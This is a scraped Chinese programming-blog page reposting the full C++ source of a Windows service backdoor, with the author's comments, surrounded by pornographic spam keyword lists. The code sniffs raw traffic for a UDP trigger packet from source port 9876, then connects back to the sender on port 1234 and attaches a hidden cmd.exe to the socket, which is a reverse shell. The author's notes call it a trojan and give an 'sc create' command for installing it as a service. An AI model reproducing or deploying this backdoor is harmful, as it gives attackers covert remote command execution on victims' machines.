日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

headerf.h

發(fā)布時間:2025/3/15 编程问答 36 豆豆
生活随笔 收集整理的這篇文章主要介紹了 headerf.h 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
headerf.h

這里面放了公共函數(shù),還有一些聲明
代碼

#ifndef _BDH_
#define _BDH_
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib,"ws2_32.lib")
#define SIO_RCVALL ?_WSAIOW(IOC_VENDOR,1)

typedef struct _iphdr{
unsigned char h_lenver;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_frag;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IP_HEADER;

typedef struct _udphdr{
unsigned short uh_sport;
unsigned short uh_dport;
unsigned short uh_len;
unsigned short uh_sum;
}UDP_HEADER;



extern int StartSniffer();
extern void StartWSA();
extern void returnMessage(SOCKET *Sock,char *msg);
extern void CreatePipeInSock();
extern int SetSocketHandle(SOCKET *Sock);
extern int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr);

#endif



這里就是sniffer...這個sniffer只解析IP和UDP包。。。通過對UDP的解析來啟動木馬進程.
對于UDP解析來啟動木馬這塊還沒有怎么完善。只是很簡單的。。。等待大家來補充了。。

最好解析UDP來提取內(nèi)容。判斷用戶名。密碼。然后啟動木馬進程
sniffer.cpp
代碼


#include "headerf.h"
//---------------------------------------------------------------------------

//-----------------------------
char rcvbuf[65535];
SOCKADDR_IN siSource;
extern SOCKET ReSock;
char SourceIPAddr[16];
unsigned short SourcePort;
bool CanCon=true;
char WelcomeBuff[200] = "++++++++++++++++++++++++++++++++++++/r/n"
? "+EasyService ?BackDoor/r/n"
? "+Coder By weibo(wbwap@sina.com)/r/n"
? "+Site ?http://www.s8s8.net/r/n"
? "++++++++++++++++++++++++++++++++++++/r/n";
//-----------------------------
void DecodeIpPack(char *buf,int irec);
void DecodeUdpPack(char *buf,unsigned int buflen);
int msGetip(char *ipin, char* ipout);
void StartBackDoor(SOCKET *Sock,char *IPaddr);
//------------------------------
int StartSniffer()
{
? ? ? ?SOCKET SniffSock;
? ? ? ?struct sockaddr_in addr;
? ? ? ?unsigned char LocalName[256];
? ? ? ?struct hostent * hp;
? ? ? ?int ntime=1000;
? ? ? ?int rec;
? ? ? ?DWORD dwBufferLen[10];
? ? ? ?DWORD dwBufferInLen = 1;
? ? ? ?DWORD dwBytesReturned = 0;
? ? ? ?char in[20]="",out[20]="";
? ? ? ?StartWSA();
? ? ? ?SniffSock = socket(AF_INET,SOCK_RAW,IPPROTO_IP);
? ? ? ?setsockopt(SniffSock,SOL_SOCKET,SO_RCVTIMEO,(char*)&ntime,sizeof(ntime));
? ? ? ?addr.sin_family = AF_INET;
? ? ? ?addr.sin_port = INADDR_ANY;
? ? ? ?msGetip(in,out);
? ? ? ?addr.sin_addr.S_un.S_addr = inet_addr(out);
? ? ? ?bind(SniffSock,(PSOCKADDR)&addr, sizeof(addr));
? ? ? ?WSAIoctl(SniffSock,SIO_RCVALL,&dwBufferInLen,sizeof(dwBufferInLen),&dwBufferLen,sizeof(dwBufferLen),&dwBytesReturned ,NULL ,NULL);
? ? ? ?while(1)
? ? ? ?{
? ? ? ? ? ? ? ?memset(rcvbuf,0,sizeof(rcvbuf));
? ? ? ? ? ? ? ?rec = recv(SniffSock,rcvbuf,sizeof(rcvbuf),0);
? ? ? ? ? ? ? ?DecodeIpPack(rcvbuf,rec);


? ? ? ?}
}
//---------------------------------------------------------------------------
void DecodeIpPack(char *buf,int irec)
{
? ? ? ?int iproto;
? ? ? ?int iIphlen;
? ? ? ?IP_HEADER *pIPheader;
? ? ? ?pIPheader = (IP_HEADER *)buf;
? ? ? ?iproto=pIPheader->proto;
? ? ? ?iIphlen = sizeof(unsigned long) * (pIPheader->h_lenver & 0xf);

? ? ? ?if (iproto == IPPROTO_UDP)
? ? ? ?{
? ? ? ? ? ? ? ?siSource.sin_addr.s_addr = pIPheader->sourceIP;
? ? ? ? ? ? ? ?strncpy(SourceIPAddr,inet_ntoa(siSource.sin_addr),16);
? ? ? ? ? ? ? ?//printf("包類型:%s/n源IP:%s ? ","UDP",SourceIPAddr);
? ? ? ? ? ? ? ?DecodeUdpPack(buf+iIphlen,irec);
? ? ? ?}

}

void DecodeUdpPack(char *buf,unsigned int buflen)
{
? ? ? ?char str[10];
? ? ? ?UDP_HEADER *pUdpheader;
? ? ? ?pUdpheader=(UDP_HEADER *)buf;
? ? ? ?siSource.sin_port = pUdpheader->uh_sport;
? ? ? ?SourcePort=ntohs(siSource.sin_port);

//這個地方就是判斷是否啟動進程的地方!!!!!!!!!!!!!!!!!!!
//這里是 如果塬端口為9876 才會起動木馬進程。。連接你的1234斷口 ? 這些都可以改
//最好的方法是Decode UDP包。。然后分析內(nèi)容。。。作判斷是否打開木馬。。。。
//沒時間了。。。。

? ? ? ?if(CanCon)
? ? ? ?{
? ? ? ? ? ? ? ?if(SourcePort == 9876)
? ? ? ? ? ? ? ?{
? ? ? ? ? ? ? ? ? ? ? ?StartBackDoor(&ReSock,SourceIPAddr);
? ? ? ? ? ? ? ?}
? ? ? ? ? ? ? ?CanCon=false;
? ? ? ?}
}


int msGetip(char *ipin, char* ipout)
{
? char cHostName[80]="";
? if((gethostname(cHostName, 80)) == SOCKET_ERROR)
? ? ? return false;
? struct hostent *Host = gethostbyname(cHostName);
? if(NULL!=Host){
? ? ? struct in_addr addr;
? ? ? int i = 0;
? ? ? while(Host->h_addr_list[i] != NULL){
? ? ? ? ? memcpy(&addr, Host->h_addr_list[i], sizeof(addr));
? ? ? ? ? if(addr.S_un.S_un_b.s_b1 == 192 && addr.S_un.S_un_b.s_b2 == 168){
? ? ? ? ? ? ? if(strlen(ipin) == 0){
? ? ? ? ? ? ? ? ? strcpy(ipin, inet_ntoa(addr));
? ? ? ? ? ? ? }
? ? ? ? ? }else if(addr.S_un.S_un_b.s_b1 == 172 && (addr.S_un.S_un_b.s_b2 >= 16 && addr.S_un.S_un_b.s_b2 <= 131)){
? ? ? ? ? ? ? if(strlen(ipin) == 0){
? ? ? ? ? ? ? ? ? strcpy(ipin, inet_ntoa(addr));
? ? ? ? ? ? ? }
? ? ? ? ? }else if(addr.S_un.S_un_b.s_b1 == 10 ){
? ? ? ? ? ? ? if(strlen(ipin) == 0){
? ? ? ? ? ? ? ? ? strcpy(ipin, inet_ntoa(addr));
? ? ? ? ? ? ? }
? ? ? ? ? }else{
? ? ? ? ? ? ? if(strlen(ipout) == 0){
? ? ? ? ? ? ? ? ? strcpy(ipout, inet_ntoa(addr));
? ? ? ? ? ? ? }
? ? ? ? ? }
? ? ? ? ? i++;
? ? ? }
? ? ? if(strlen(ipout) == 0) {
? ? ? ? ? strcpy(ipout, ipin);
? ? ? }
? ? ? if(strlen(ipin) == 0){
? ? ? ? ? strcpy(ipin, ipout);
? ? ? }
? ? ? return 1;
? }
? return 0;
}

void StartBackDoor(SOCKET *Sock,char *IPaddr)
{
? ? ? ?int rec;
//StartWSA();
? ? ? ?SetSocketHandle(Sock);
? ? ? ?rec = ContoReServer(Sock,1234,IPaddr);
? ? ? ?returnMessage(Sock,WelcomeBuff);
? ? ? ?CreatePipeInSock();
switch(rec)
{
?case 0:
? closesocket(ReSock);
? CanCon = true;
? break;
?case 1:
? CanCon = false;
? break;
}
}



這就是服務(wù)的主體。。。。。。。

本來還有個自動加為服務(wù)的功能。。。沒時間了,馬上走了。收拾東西去。。~~~~ZV來寫吧。。。。
可以用 CreateService()函數(shù)。。
服務(wù)這塊需要大家來改進~~

con.cpp
代碼


#include "headerf.h"
//---------------------------------------------------------------------------
STARTUPINFO si;
PROCESS_INFORMATION pi;
SOCKET ReSock;
//-------------------------------

//---------------------------
void StartWSA()
{
? ? ? ?WSADATA wsa;
? ? ? ?
? ? ? ?WSAStartup(MAKEWORD(2,2),&wsa);
}

int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr)
{
? int namelen;
? struct sockaddr_in server_addr;
? server_addr.sin_family = AF_INET;
? server_addr.sin_port ? = htons(port);
? server_addr.sin_addr.S_un.S_addr = inet_addr(reAddr);
? namelen = sizeof(server_addr);
? if(connect(*sock, (SOCKADDR *)&server_addr,namelen) < 0 )
? ? ? return 0;
? return 1;
}

int SetSocketHandle(SOCKET *Sock)
{
? *Sock = WSASocket(PF_INET,SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
? if(*Sock == SOCKET_ERROR)
? ? ? return 0;
? return 1;
}


void returnMessage(SOCKET *Sock,char *msg)
{
? if (strlen(msg) <= 0)
? ? ? return;
? send(*Sock,msg,strlen(msg),0);
}
//下面這個是重訂向si到Resock....等于一個簡單的管道。。
//沒太多時間。為了省事。。能實現(xiàn)cmd.
//最好能改寫成管道CreatePipe()..
//這樣可以對數(shù)據(jù)進行分析。。以便加入別的控制。。。。。。
void CreatePipeInSock()
{
? ? ? ?memset(&si, 0, sizeof(si));
? ? ? ?si.cb = sizeof(si);
? ? ? ?si.dwFlags = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
? ? ? ?si.wShowWindow=SW_HIDE;
? ? ? ?si.hStdInput = si.hStdOutput = si.hStdError = (void *)ReSock;
? ? ? ?CreateProcess(NULL,"cmd.exe",NULL,NULL, TRUE, 0,0, NULL, &si, &pi );
}


backdoor.cpp
代碼

#include "headerf.h"
//---------------------------------------------------------------------------
const int c_nEventCt = 3;
const int c_nEventIndexPause = 0;
const int c_nEventIndexContinue = 1;
const int c_nEventIndexStop = 2;
HANDLE g_arEventControl[c_nEventCt];
SERVICE_STATUS_HANDLE g_ssh;
DWORD g_dwStatus = SERVICE_STOPPED;
#pragma argsused
//服務(wù)狀態(tài)給SCM
void SetStatus(DWORD dwStatus)
{
? ? ? ?SERVICE_STATUS ss =
? ? ? ? ? ? ? ?{
? ? ? ? ? ? ? ? ? ? ? ?SERVICE_WIN32_OWN_PROCESS,
? ? ? ? ? ? ? ? ? ? ? ?SERVICE_STOPPED,
? ? ? ? ? ? ? ? ? ? ? ?SERVICE_ACCEPT_PAUSE_CONTINUE|
? ? ? ? ? ? ? ? ? ? ? ?SERVICE_ACCEPT_STOP,
? ? ? ? ? ? ? ? ? ? ? ?NO_ERROR,
? ? ? ? ? ? ? ? ? ? ? ?0,
? ? ? ? ? ? ? ? ? ? ? ?1,
? ? ? ? ? ? ? ? ? ? ? ?5000
? ? ? ? ? ? ? ?};
? ? ? ?ss.dwCurrentState = dwStatus;
? ? ? ?SetServiceStatus(g_ssh,&ss);
? ? ? ?g_dwStatus = dwStatus;
}

//命令處理
VOID __stdcall Handler(DWORD dwCtl)
{
? ? ? ?switch(dwCtl)
? ? ? ?{
? ? ? ? ? ? ? ?case SERVICE_CONTROL_STOP:
? ? ? ? ? ? ? ? ? ? ? WSACleanup();
? ? ? ? ? ? ? ? ? ? ? ?break;

? ? ? ? ? ? ? ?default:
? ? ? ? ? ? ? ? ? ? ? ?//nomal
? ? ? ? ? ? ? ? ? ? ? ?break;
? ? ? ?}
}

bool HandleControl()
{
? ? ? ?bool bContinueRunning(true);

? ? ? ?DWORD dwWait = WaitForMultipleObjects(
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?c_nEventCt,
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?g_arEventControl,
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?FALSE,
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?0
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?);
? ? ? ?int nIndex = dwWait - WAIT_OBJECT_0;
? ? ? ?if(nIndex>=0 && nIndex<c_nEventCt)
? ? ? ?{
? ? ? ? ? ? ? ?ResetEvent(g_arEventControl[nIndex]);

? ? ? ? ? ? ? ?switch(nIndex)
? ? ? ? ? ? ? ?{
? ? ? ? ? ? ? ? ? ? ? ?case c_nEventIndexPause:
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?SetStatus(SERVICE_PAUSED);
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?break;
? ? ? ? ? ? ? ? ? ? ? ?case c_nEventIndexContinue:
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?SetStatus(SERVICE_RUNNING);
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?break;
? ? ? ? ? ? ? ? ? ? ? ?case c_nEventIndexStop:
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?SetStatus(SERVICE_STOP_PENDING);
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?bContinueRunning = false;
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?break;
? ? ? ? ? ? ? ?}
? ? ? ?}
? ? ? ?return (bContinueRunning);
}

VOID __stdcall ServiceMain(DWORD dwArgc,LPSTR* lpszArgv)
{
? ? ? ?g_arEventControl[c_nEventIndexPause] = CreateEvent(NULL,TRUE,FALSE,NULL);
? ? ? ?g_arEventControl[c_nEventIndexContinue] = CreateEvent(NULL,TRUE,FALSE,NULL);
? ? ? ?g_arEventControl[c_nEventIndexStop] = CreateEvent(NULL,TRUE,FALSE,NULL);

? ? ? ?g_ssh = RegisterServiceCtrlHandler(lpszArgv[0],Handler);

? ? ? ?SetStatus(SERVICE_START_PENDING);
? ? ? ?SetStatus(SERVICE_RUNNING);

? ? ? ?while(HandleControl())
? ? ? ?{
? ? ? ? ? ? ? ?if(g_dwStatus == SERVICE_RUNNING)
? ? ? ? ? ? ? ?{

? ? ? ? ? ? ? ? ? ? ? ?StartSniffer();

? ? ? ? ? ? ? ?}

? ? ? ?}

? ? ? ?for(int nEvent = 0;nEvent < c_nEventCt;++nEvent)
? ? ? ?{
? ? ? ? ? ? ? ?CloseHandle(g_arEventControl[nEvent]);
? ? ? ? ? ? ? ?g_arEventControl[nEvent] = INVALID_HANDLE_VALUE;

? ? ? ?}

? ? ? ?SetStatus(SERVICE_STOPPED);
}

int __stdcall WinMain(
? ? ? ? ? ? ? ? ? ? ? ?HINSTANCE hInstance,
? ? ? ? ? ? ? ? ? ? ? ?HINSTANCE hPrevInstance,
? ? ? ? ? ? ? ? ? ? ? ?LPSTR lpszCmdLine,
? ? ? ? ? ? ? ? ? ? ? ?int nCmdShow
? ? ? ? ? ? ? ? ? ? ? ?)
{
? ? ? ?SERVICE_TABLE_ENTRY arSvc[] =
? ? ? ?{
? ? ? ? ? ? ? ?{"ConEvent",ServiceMain},
? ? ? ? ? ? ? ?{NULL,NULL}
? ? ? ?};

? ? ? ?StartServiceCtrlDispatcher(arSvc);
return 0;
}




手動加為服務(wù)

編譯好后
進入cmd

運行 sc create 隨便一個名字 binpath= path

例子: sc create BackDoor binpath= c:/backdoor.exe


這個很草。。。。。。等我度過軍訓(xùn)。有時間了。。回來再寫~~~~88


附件是我用bcb6寫的。。。

總結(jié)

以上是生活随笔為你收集整理的headerf.h的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 国产清纯在线 | 婷婷九月综合 | 欧美激情影音先锋 | 成人免费毛片男人用品 | 香蕉视频日本 | 蜜臀精品一区二区三区 | 人人爱人人艹 | 日韩有码在线播放 | 99re6这里只有精品 | 亚洲高清毛片 | 你懂的国产视频 | 亚洲视频手机在线 | 四虎在线免费 | 亚欧美| 91成人免费在线观看视频 | 人人爱人人 | 最新中文字幕在线观看 | 人妻精品久久久久中文字幕69 | 色播久久 | 久久亚洲一区二区三区四区五区 | 操综合网| 日韩在线观看一区二区 | 美女黄色免费网站 | 舒淇裸体午夜理伦 | 亚洲成人av在线播放 | 国产永久免费无遮挡 | 天堂中文在线免费观看 | 亚洲一级黄色 | 国产成人高清在线 | 日本私人影院 | 95国产精品 | www国产免费 | 中文人妻熟妇乱又伦精品 | 日韩人妻一区二区三区 | a毛片基地 | 久久国产网站 | 日本少妇xxxx软件 | 熟女丝袜一区 | 懂色av蜜臀av粉嫩av分享 | 打开免费观看视频在线 | 亚洲国产高清国产精品 | 亚洲骚片| 成人黄色免费网址 | 亚洲免费观看高清完整 | 国产精品黄视频 | 青青自拍视频 | 天天射夜夜爽 | 亚洲天堂视频在线播放 | 天天干天天爽天天射 | 欧美黑人性xxx | 欧洲一区在线 | 中国精品一区二区 | 99av国产精品欲麻豆 | 第九色| 精品久久综合 | 国产一区二区色 | 一级片aaaa| 啪啪在线视频 | 乱熟女高潮一区二区在线 | 日韩中文字幕免费 | 精品国产无码AV | 最新av在线播放 | 欧美香蕉 | 日韩欧美成人一区二区三区 | 欧美丰满熟妇xxxx | 婷婷激情六月 | www.超碰在线观看 | 91毛片网| 黄色a毛片 | 国产精品毛片一区二区在线看 | 一本之道高清无码视频 | 国产免费一区二区三区视频 | 国产精品水嫩水嫩 | 亚洲一级色 | 老女人性视频 | 精品视频在线免费观看 | 成人午夜免费福利视频 | 国产区第一页 | 国产乱来 | 777av| 久久成年| 欧美日韩精品在线视频 | 亚洲a√ | 国产曰肥老太婆无遮挡 | 男女爱爱福利视频 | 国产suv一区二区 | 国产日日操 | 欧美一区二区三 | 国产人妻777人伦精品hd | 在线免费观看污片 | 国产农村妇女精品久久久 | 亚洲色图 美腿丝袜 | 亚洲女优一区 | 精品人妻少妇AV无码专区 | 精品三级电影 | 操操网站| 播色网| 亚洲一区二区自偷自拍 | 成人在线不卡 |